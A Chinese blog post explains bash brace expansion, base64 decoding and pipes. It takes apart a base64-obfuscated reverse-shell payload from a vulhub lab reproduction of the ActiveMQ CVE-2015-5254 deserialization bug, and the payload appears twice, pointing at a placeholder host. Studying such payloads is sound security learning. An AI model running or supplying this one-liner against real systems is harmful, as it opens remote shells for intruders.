zoukankan      html  css  js  c++  java
  • linux下形如{command,parameter,parameter}执行命令 / bash花括号扩展

    背景

    在复现vulhub上的漏洞ActiveMQ Deserialization Vulnerability (CVE-2015-5254)时,发现官方文档给出反弹shell的payload
    bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwL3h4Lnh4Lnh4Lnh4LzY2NjYgMD4mMQo=}|{base64,-d}|{bash,-i}
    其他部分倒是没什么说的,只是对其中的形如{command,parameter}的方式执行命令不是很理解,遂查阅了相关资料

    bash扩展

    bash在执行命令前,会先对整个命令进行处理或者扩展。比如使用通配符定位文件时,在执行cat /etc/passw*前会将其先扩展成cat /etc/passwd,然后再执行该条命令,这种对于通配符的处理就叫做 Pathname Expansion (路径名扩展)
    bash中共有7中扩展,按优先级分别是

    • Brace Expansion (花括号扩展)
    • Tilde Expansion (波浪号扩展)
    • Parameter and and Variable Expansion (参数和变量扩展)
    • Command Substitution (命令置换)
    • Arithmetic Expansion (算数扩展)
    • Word Splitting (单词分割)
    • Pathname Expansion (路径扩展)

    下图也很好的展示了这个过程

    Brace Expansion (花括号扩展)

    花括号扩展是可以让bash生成任意字符串的一种扩展功能,与路径扩展非常相似,唯一不同的是生成的字符串可以是不存在的路径或者文件名。
    花括号扩展使用格式分为两类

    • preamble+{string1,string2,...,stringN}+postscript
      中间的字符串列表必须由逗号隔开,逗号前后不能有空格,如果string中有空格,则需要用单引号或者双引号括起来。
      bash在实际扩展时,会生成preamble+stringX+postscript的多组字符串,其间由空格隔开
      例如
    leixiao@LAPTOP-H4MNA5DT:~$ echo hello{' world',' 'bash,linux}.
    hello world. hello bash. hellolinux.
    
    • preamble+{<START>..<END>[..<INCR>]}+postscript
      其中<START>..<END>组合而成的表达式术语叫做序列表达式(sequence expression),表示一个特定的范围。当<START>和<END>是数字时,代表的是数字范围;当<START>和<END>是单个字母时,代表的是字符范围(默认LC_ALL字符排序)。<START>和<END>必须同为数字或者字母,否则bash不认为是花括号扩展,而是原样输出,其中的<INCR>是可选的,代表的是区间范围的递增数,它必须是数字
      例如
    leixiao@LAPTOP-H4MNA5DT:~$ echo hello{1..5}
    hello1 hello2 hello3 hello4 hello5
    leixiao@LAPTOP-H4MNA5DT:~$ echo hello{1..5..2}
    hello1 hello3 hello5
    leixiao@LAPTOP-H4MNA5DT:~$ echo hello{a..e..2}
    helloa helloc helloe
    

    bash -i/-d

    • bash -c
      若用-c参数,则bash从字符串中读入命令,如果字符串后还有变量就被设定为从$0开始的位置参数
    leixiao@LAPTOP-H4MNA5DT:~$ bash -c "echo hello"
    hello
    
    • bash -i
      若用-i参数,则bash是交互的, 交互式shell的意思就是跟用户交互,你输入一行命令,shell就执行一行命令。当然,有交互式就有非交互式,一个 shell脚本的运行方式,就是非交互式shell

    base64 -d

    • base64
      从标准输入中读取数据,按Ctrl+D结束输入。将输入的内容编码为base64字符串输出
    • base64 -d
      从标准输入中读取已经进行base64编码的内容,解码输出

    管道符(|)

    前一个命令的输出,作为后一个命令的输入

    leixiao@LAPTOP-H4MNA5DT:~$ echo 'hello'|base64
    aGVsbG8K
    leixiao@LAPTOP-H4MNA5DT:~$ echo 'aGVsbG8K'|base64 -d
    hello
    

    {command,parameter,parameter}

    当只输入花括号扩展的表达式时,首先会对其进行处理
    例如输入{echo,hello}会变成echo hello,然后执行该语句,所以以下表达式都可以正常执行

    • {e,}cho
      被处理成 echo cho
    • e{cho,hello}
      被处理成 echo ehello
    • ec{h,x}o
      被处理成 echo ecxo
    leixiao@LAPTOP-H4MNA5DT:~$ {e,}cho
    cho
    leixiao@LAPTOP-H4MNA5DT:~$ e{cho,hello}
    ehello
    leixiao@LAPTOP-H4MNA5DT:~$ ec{h,x}o
    ecxo
    

    payload

    bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwL3h4Lnh4Lnh4Lnh4LzY2NjYgMD4mMQo=}|{base64,-d}|{bash,-i}
    这条payload的原理应该已经不言而喻了,还要提一点的是payoad前的bash -c只是在当前漏洞环境需要,依靠漏洞在这个应用中执行任意命令时需要,如果本身就在bash中的话是不用写的,还有最后的{bash,-i}也可以只写成{bash,}或者{,bash}
    还有反弹shell命令本身的理解,推荐这篇文章
    https://www.freebuf.com/articles/system/153986.html

    参考:
    https://blog.csdn.net/astrotycoon/article/details/50886676
    http://linux.51yip.com/search/bash

  • 相关阅读:
    隐藏quick launch(非原创)
    MOSS 的缓存及察看
    在ubantu 8.4上 让鼠标的滚轮工作
    关于QuickHTML的开发 (1)
    Jquery 和 shanrepoint
    一个简单的隐藏quick launch的js方法
    在vmware workstation 6.5上安装 vmware tools
    一本有关 MOSS 开发的书 Wrox.SharePoint.2007.and.Office.Development.Expert.Solutions
    IOS 概述
    iPhone应用程序开发基础之一: IBOutlet与IBAction
  • 原文地址:https://www.cnblogs.com/leixiao-/p/10216571.html
Copyright © 2011-2022 走看看